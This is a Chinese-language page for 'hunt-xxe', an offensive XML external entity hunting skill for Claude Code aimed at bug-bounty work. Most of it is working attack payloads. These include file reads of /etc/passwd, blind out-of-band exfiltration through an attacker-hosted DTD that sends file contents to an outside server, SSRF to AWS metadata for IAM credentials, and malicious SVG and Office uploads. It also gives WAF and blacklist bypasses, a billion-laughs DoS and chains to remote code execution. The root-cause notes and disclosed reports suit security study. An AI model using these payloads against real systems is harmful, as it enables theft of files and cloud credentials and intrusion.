关于 hunt-xxe
hunt-xxe 是用于调查 XML 外部实体漏洞的安全测试技能,适用于 XML 接口和文档处理流程。内容涵盖入口排查、解析器验证、带内与带外检测及影响评估。
主要功能
- 01梳理 XML 入口
- 02检查基于 XML 的文件上传流程
- 03进行带内和带外 XXE 检测
- 04识别解析器和技术栈
- 05评估 SSRF 与文件读取影响
- 06提供根因和验证指导
适用场景
- 01测试接受 XML 的 API 接口
- 02检查 SVG 和 Office 文档上传
- 03评估 SAML 与 SOAP 解析路径
- 04评估授权测试中的 XML 解析器安全性
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-xxe安装后在 Claude Code 中输入/hunt-xxe确认已加载。
详细介绍
高价值目标
XXE 属于严重级别的漏洞,由于可直接窃取敏感数据并发起 SSRF,其赏金通常位居榜首($5,000–$30,000+)。价值最高的目标包括:
- 大型企业平台,后端集成大量使用 XML(金融、物流、网约车 API)
- 具备文件读取能力的域名 —
/etc/passwd、/etc/shadow、内部配置文件、AWS 元数据端点 - 共享后端基础设施的子域名 — 一个 XXE 端点即可横向访问数十个域名中的内部服务(例如通过单一入口影响 26 个以上 Uber 域名)
- 接受 XML 内容类型的 API 网关 — 尤其是会静默接受
Content-Type: application/xml的 REST API - 文件上传功能 — 服务端的 SVG、DOCX、XLSX、PDF、PPTX 解析器
- SAML/SSO 端点 — SAML 断言基于 XML,且经常存在漏洞
- Office/文档处理服务 — 任何可转换或处理用户提供文档的功能
攻击面信号
URL 模式
/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)
请求/响应标头
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)
JavaScript 模式(源码侦察)
// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml
技术栈信号
- Java 技术栈:Spring、Struts、JAX-WS — 默认 XML 解析器(SAX、DOM)若未显式加固,就容易受到 XXE 攻击
- PHP:
simplexml_load_string()、DOMDocument::loadXML()— PHP 8 之前默认容易受到攻击 - Python:
lxml、xml.etree(默认安全)、xml.sax(不安全) - Ruby:旧版本的
Nokogiri、REXML - Node.js:
xml2js、libxmljs、旧版本的fast-xml-parser - WSDL/SOAP 服务:务必测试 — 几乎可以确定存在旧式 XML 解析
- 文件解析器:Apache POI(Java)、python-docx、LibreOffice 集成
逐步猎测方法
-
梳理所有 XML 入口点 — 使用 Burp Suite 被动扫描器标记所有内容类型为 XML 的请求/响应。还要拦截 JSON 端点,并手动将
Content-Type替换为application/xml,同时发送等效的 XML 请求体。 -
识别文件上传功能 — 上传 SVG、DOCX、XLSX,并观察服务器是否会处理/渲染内容。这些格式底层通常使用 XML。
-
尝试内联 XXE(经典文件读取) — 将 XML 请求体替换为基本实体测试载荷,目标设为
/etc/passwd或C:\Windows\win.ini。观察响应中是否回显了该值。 -
如果没有回显,则转向盲测 OOB — 设置 OOB 监听器(Burp Collaborator、interactsh 或自托管的 netcat 服务器)。注入一个指向回调 URL 的外部实体。确认收到 DNS/HTTP 请求,以验证解析器正在发起出站连接。
-
将盲测 OOB 升级为文件窃取 — 使用两阶段载荷:第一个实体加载本地文件,第二个实体通过 HTTP 参数或 DNS 窃取将其通过 OOB 发送出去。
-
测试 SSRF 横向访问 — 将外部实体指向内部网络地址(
http://[REDACTED_IP]/latest/meta-data/、http://10.0.0.1/、http://localhost:8080/admin)。留意响应时间或错误消息的差异。 -
测试共享同一后端的所有子域名 — 如果一个子域名存在漏洞,就枚举并系统地测试所有其他子域名。共享后端基础设施意味着可能共享漏洞。
-
测试参数级注入 — 一些端点只解析特定 XML 节点。将实体注入每个元素值、属性值,甚至元素名称中。
-
测试基于错误的窃取 — 如果 OOB 被拦截,则触发 XML 解析错误,使返回给客户端的错误消息包含文件内容。
-
记录完整的影响链 — 展示:文件读取 → SSRF → 访问内部服务 → 记录可访问的内部域名/IP。
载荷与检测模式
经典带内文件读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Windows 等效方式
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>
盲测 OOB — DNS/HTTP 回调
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>
盲 OOB——通过参数实体外传文件(两阶段)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
%dtd;
]>
<root><data>trigger</data></root>
evil.dtd(托管在攻击者的服务器上):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;
通过 XXE 实现 SSRF(AWS 元数据)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>
SVG XXE(适用于文件上传端点)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
<text font-size="14" x="0" y="16">&xxe;</text>
</svg>
DOCX/XLSX XXE——注入到 [Content_Types].xml 或 word/document.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>
Content-Type 置换(JSON 转 XML)
# Original JSON request
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/api/endpoint \
-H "Content-Type: application/json" \
-d '{"user":"test"}'
# Converted to XML for XXE testing
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/api/endpoint \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
源代码审查的 Grep 模式
# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .
# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .
# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .
# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .
常见根本原因
-
解析器默认配置——Java 的
DocumentBuilderFactory、PHP 的DOMDocument和 Python 的lxml默认都支持外部实体。开发者使用它们时,没有阅读安全文档。 -
升级框架时未重新审查安全性——旧版 Spring、Struts 等类似框架默认启用了 XXE;库发生变化时,开发者没有重新审查 XML 处理逻辑。
-
隐藏的 XML 处理——开发者在 API 层接受 JSON,却在内部将其转换为 XML;或者使用 Apache POI、python-docx 等库处理上传内容,却没有意识到这些格式是 XML 容器。
-
从 StackOverflow 复制粘贴代码——网上的 XML 解析示例很少包含禁用实体的设置。开发者直接将最简可运行示例复制到生产环境。
-
SAML/SSO 库配置错误——SSO 集成通常会将 XML 解析交给启用了 XXE 的第三方库;开发者想当然地认为“库会处理安全问题”。
-
非主要内容类型的测试缺口——QA 会对 JSON API 进行全面测试;由于 XML 代码路径属于次要功能或遗留功能,因此只接受了极少的安全测试。
-
微服务 XML 消息传递——服务间通信使用 XML(SOAP、自定义架构),并被视为“可信内部”事项,因此绕过了安全审查。
绕过技术
防御:关键字黑名单(ENTITY、DOCTYPE、SYSTEM)
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>
防御:禁用外部实体获取(阻止 file://)
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/">
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">
防御:WAF 阻止 XXE 模式
Transfer-Encoding: chunked
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
防御:网络出口过滤(阻止 OOB)
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
%eval; %error;
]>
防御:Content-Type 验证
# Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff
防御:输入长度限制
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
]>
解析器生态系统漏洞矩阵
XXE 经典载荷(<!ENTITY xxe SYSTEM "file://...">)在 2026 年并非总能成功利用。自 2018-2024 年以来,大多数主流语言生态系统都已加固其默认 XML 解析器。在投入时间测试 XXE 之前,先识别目标技术栈——有时解析器本身已经安全,这类漏洞并不适用。
| 生态系统 / 解析器 | SYSTEM 实体的默认行为 | 默认情况下是否易受攻击? |
|---|---|---|
Java SAX / DOM(未禁用外部实体的 XMLInputFactory) | 展开 SYSTEM file:// | 是 |
| Java JAXB / JAX-WS(较旧版本的 Spring) | 展开 | 是 |
使用 LIBXML_NOENT 标志的 PHP DOMDocument | 展开 SYSTEM | 是 |
使用 LIBXML_NOENT 的 PHP simplexml_load_* | 展开 SYSTEM | 是 |
显式设置了 XmlResolver 的 .NET XmlDocument | 展开 | 是 |
使用 DtdProcessing=Parse 且显式设置了 XmlResolver 的 .NET XmlReader | 展开 | 是(自 .NET 4.5.2 起,默认值为 DtdProcessing.Prohibit,遇到任何 DOCTYPE 都会抛出异常——现代默认设置是安全的) |
Python xml.etree.ElementTree ≥ 3.7.1 | 禁用 SYSTEM | 否 |
Python lxml(已在 6.x 中验证;可能在 ≥ 5.x 中也如此) | 即使设置了 resolve_entities=True,也会丢弃 SYSTEM 文件内容;当 no_network=False 时仍可能发起网络请求 | 文件读取方面为否(已在本地的 6.1.0 中验证——参见 docs/verification/phase2g-saml-mfa-xxe.md) |
Python xml.dom.minidom | 当前版本默认安全 | 否 |
Python defusedxml.lxml | 已禁用 | 否 |
| Ruby Nokogiri 默认设置 | 已禁用 | 否 |
使用 Nokogiri::XML::ParseOptions::DTDLOAD 的 Ruby Nokogiri | 展开 | 是 |
| Apache Struts(较旧版本) | 通常会展开 | 是 |
| 嵌入式 IoT / 工业 XML 处理器(固件) | 经常易受攻击 | 是 |
| 会重新解析用户内容的 Microsoft Office OOXML 处理器 | 某些旧版代码路径易受攻击 | 是 |
要查找的指纹信号:
Server: Apache Tomcat、X-Powered-By: Servlet→ Java 后端 → 很可能是X-Powered-By: PHP/...+ 接收 XML 的端点 → 如果应用使用DOMDocument,则很可能是Server: Microsoft-IIS,使用.aspx且有 XML SOAP → 旧版代码中很可能是- 服务器没有可识别的信息 + 端点接受 XML → 先用
&hello;进行探测;如果内联实体展开,则升级到 SYSTEM。如果内联实体也未展开,解析器可能已加固——转而测试其他方向。
严重性判定前的门槛: 在声称候选端点存在 XXE 之前,先运行内联实体探测(<!ENTITY hello "world!">,然后在节点中使用 &hello;)。如果响应中没有回显 hello!,则解析器级实体展开已禁用,SYSTEM file:// 也不会生效。不要在已加固的解析器上浪费时间。
门槛 0:验证
撰写报告前,请回答以下三个问题:
-
攻击者现在能做什么?
- 能否在响应中显示
/etc/passwd或win.ini的内容?或者能否证明已确认的带外回连,并将文件内容传输到你的服务器?或者能否访问内部 SSRF 端点(元数据、内部管理界面)?
- 能否在响应中显示
-
受害者会失去什么?
- 必须指出具体的敏感数据:内部凭据、AWS IAM 密钥、包含数据库密码的应用配置文件、PII 或内部网络拓扑。仅仅“解析器发起了 DNS 请求”并不足够——应进一步证明实际数据泄露或内部访问。
-
能否从头开始在 10 分钟内复现?
- 必须提供一条
curl命令或 Burp Repeater 请求,供分流工程师对线上目标运行,并在 10 分钟内看到影响,且能明确无误地确认存在漏洞的参数和端点。
- 必须提供一条
实际影响示例
场景 A:单个端点 → 26 个域名遭入侵(Uber 规模)
一名测试人员在 Uber 的一个子域名上发现了 XML 解析端点。后端使用存在漏洞的解析器处理 XML,服务器会向攻击者控制的基础设施发起出站 HTTP 请求(盲带外)。由于存在漏洞的 XML 处理服务是一个共享的内部微服务,因此同一漏洞可通过 26 个以上面向公众的不同域名触达,这些域名共用同一个后端。单个载荷即可读取 /etc/passwd 和内部配置文件,并访问 AWS 元数据端点,从而有效获取可在整个基础设施中复用的凭据。
业务影响:生产环境中大多数域名所依赖的内部服务全面遭到入侵;可能导致凭据被盗和横向移动。
场景 B:文档上传 → Twitter 规模平台上的本地文件读取
攻击者将精心构造的基于 XML 的文档(例如 SVG 或 Office 格式)上传到某大型社交平台的文档处理功能。服务器端解析器处理其中嵌入的 DTD 和外部实体引用,并在解析结果或错误消息中返回本地文件内容。攻击者可以读取应用配置文件,其中包含数据库连接字符串、内部 API 密钥,以及可能存储在同一文件系统上的私人用户数据。
业务影响:原本用于无害文件上传的功能导致生产环境机密(数据库凭据、API 密钥)泄露;除标准用户账号外,无需绕过身份验证。
场景 C:JSON API → 隐藏的 XML 解析器 → SSRF 至内部服务
研究人员发现,一个名义上接受 JSON 的 REST API 端点也会解析以 application/xml 提交的请求。底层服务使用未打补丁的 Java DocumentBuilderFactory 将 XML 转换为内部格式。通过注入指向 http://10.0.0.x 地址范围的 SYSTEM 实体,测试人员可以探测内部服务、访问无需身份验证的内部管理面板,并检索 AWS 实例元数据(包括临时 IAM 凭据),整个过程只需一次 API 调用和有效的会话令牌。
业务影响:单次经过身份验证的 API 调用即可导致 AWS 凭据完全泄露,从而能够将权限从应用级用户提升至云基础设施管理员。
已披露报告引用(补充 +6 — 2016-2024)
以下真实且经核实的漏洞赏金 / 协调披露案例扩展了此技能。其中三个案例(#7、#9、#10)要求带外(OOB)验证(盲测)——它们交叉引用了 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate,若没有 Collaborator/interactsh 回连,就不能声称漏洞成立。
-
Mail.ru — Pulse RSS/Atom feed XXE(文件读取) (H1 #505947)
- 子类型:直接文件读取型 XXE(带内)
- Payload:在 RSS feed 正文中加入
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>→ 响应中反射<title>&xxe;</title> - 根本原因:pulse.mail.ru 的 RSS/Atom 接收流程调用了启用
external general entities的 XML 解析器 - 年份:2019 — $6,000
-
Twitter — sms-be-vip.twitter.com SOAP/SXMP servlet XXE (H1 #248668)
- 子类型:SOAP XXE(cloudhopper SXMP servlet)——通过 HTTP 回调 和 反射文件读取确认
- Payload:在 SXMP 请求正文中加入
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]>链式调用 - 根本原因:Cloudhopper SXMP servlet 使用默认 JAXP 设置解析传入的 XML(会解析实体)
- 年份:2017 — $10,080(经典 SOAP-XXE 参考案例)
-
Zivver — SVG 个人资料图片上传 XXE → SSRF (H1 #897244)
- 子类型:SVG 上传型 XXE,经 OOB 确认,并链至 SSRF
- Payload:包含
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]><text>&xxe;</text>的 SVG - 根本原因:服务器使用会解析外部实体的 XML 解析器为上传的 SVG 生成缩略图;未关闭实体解析器
- 年份:2020 — 当时 Zivver 没有付费计划
-
Open-Xchange — 通过 PowerPoint(.pptx)导入触发盲测 XXE (H1 #334488)
- 子类型:Office 文档 XXE(PPTX = XML 部件的 ZIP 文件),要求 OOB 验证
- Payload:修改 .pptx ZIP 中的
ppt/slides/slide1.xml,加入<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]>;外部 DTD 链式调用参数实体,通过 HTTP 将file:///etc/passwd外传 - 根本原因:PowerPoint 解析器在禁用实体解析之前,便预先渲染了 OOXML 容器中的 XML 部件
- 年份:2018 — $2,000
-
Uber — ubermovement.com 上的盲测 OOB XXE (H1 #154096)
- 子类型:盲测 OOB XXE(第三方供应商产品),要求 OOB 验证
- Payload:
<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search> - 根本原因:Movement 供应商技术栈中的通用 XML 端点接受 XML 并解析系统实体;无法外传数据(受沙箱限制),只能进行盲测 ping
- 年份:2016 — $500
-
Adobe Commerce / Magento — “CosmicSting” CVE-2024-34102 (Assetnote writeup)
- 子类型:XXE 转 RCE(嵌套反序列化 → Laminas 请求正文中的 XXE)——现代案例,已在野外遭到利用
- Payload:REST API JSON 请求,其中嵌套的
simplexml_load_string()会触发<!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]>;外部 DTD 读取app/etc/env.php(管理员加密密钥)并通过 POST 回传;利用该密钥伪造管理员令牌 → RCE - 根本原因:
Laminas\Http\PhpEnvironment\Request对攻击者可控的正文执行simplexml_load_string反序列化,且未启用LIBXML_NOENT保护 - 年份:2024 — Adobe HackerOne 漏洞赏金已支付,CVSS 9.8
验证
运行此自检,以确认已准备好搜寻 XXE:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-xxe" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱章节 — 确认已记录相关陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均可验证技能结构正确且已准备就绪。
常见陷阱
- SVG 上传中的 XXE — SVG 文件是 XML。上传的 SVG 中存在 XXE 是有效的攻击途径。使用包含
<!ENTITY xxe SYSTEM "file:///etc/passwd">的 SVG 进行测试。 - 无回显的 XXE(盲 XXE) — 如果解析器不返回实体值,请使用带外 XXE(
<!ENTITY xxe SYSTEM "http://attacker.com/">)触发回连。 - SOAP/WSDL 中的 XXE — SOAP 端点常被忽略,因而存在 XXE。测试所有 SOAP 操作。
- XML 解析器配置 — PHP 中的
libxml_disable_entity_loader(true)、Java 中的XMLConstants.FEATURE_SECURE_PROCESSING都会阻止 XXE。请专门测试 DTD。 - Billion laughs 攻击 — 指数级实体扩展 DoS(
<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">...)是 XXE 的一种变体。应定级为 DoS,而非信息泄露。
相关技能与攻击链
hunt-ssrf— 一旦发现解析器会获取外部实体,XXE 就是采用 XML 语法的 SSRF。攻击链原语:盲 XXE 带外<!ENTITY % x SYSTEM "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/role">→ 通过参数实体 DTD 回连窃取 AWS IMDS 凭据 → STS AssumeRole 攻击链。纯 SSRF 被过滤拦截时,通过 XXE-in-libxml2使用gopher://仍可访问 Redis/SMTP。hunt-file-upload— XXE 最常见于文件上传功能中,这些功能会在不显眼处解析 XML(DOCX/XLSX/PPTX、SVG、GPX、KML、OOXML、SOAP 附件)。攻击链原语:上传包含恶意[Content_Types].xml的 DOCX,其中包含参数实体 DTD → 通过在服务器端运行的文档解析器带外读取/etc/passwd/web.config/.aws/credentials。hunt-rce— XXE → RCE 虽然罕见,但确实存在于 PHP(expect://)、Java(使用<xsl:script>/Xalan 的 XSLT 扩展)以及旧版 XmlSpy/SAXON 部署中。攻击链原语:在使用易受攻击的 XSLT 处理器的 Java 端点中利用 XXE →<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>→ RCE;或者在启用了expect://id流包装器的 PHP 中利用 XXE → 直接 RCE。hunt-sharepoint— 本地部署的 SharePoint/Exchange/IIS 技术栈在 SOAP/CSOM/EWS 端点中存在长期的 XXE 问题。攻击链原语:在_vti_bin/*.asmx或 EWS SOAP 中利用匿名 XXE → 读取web.config→ 获取<machineKey>→ ViewState 反序列化 → RCE(这是 ToolShell 相关攻击的前置条件)。security-arsenal— 使用 XXE 载荷树:标准 SYSTEM 文件读取、参数实体带外 DTD 模式(使盲 XXE 生效的%间接引用)、用于二进制安全读取的php://filter/convert.base64-encode/resource=、在 DOCTYPE 被阻止时使用 XInclude(<xi:include href=...>)、用于 DoS 的 billion-laughs/二次爆炸,以及 Java 专用的jar:///netdoc://包装器。triage-validation— 应用可复现性 + 定级前置门槛。如果 XXE 仅触发带外 DNS 回连而未外传任何数据,则严重性为低/中(仅泄露“此解析器会获取实体”这一信息),而非严重。要定为严重,必须证明文件读取或内部 HTTP 请求成功——在报告中展示实际的/etc/passwd内容或 IMDS JSON 响应。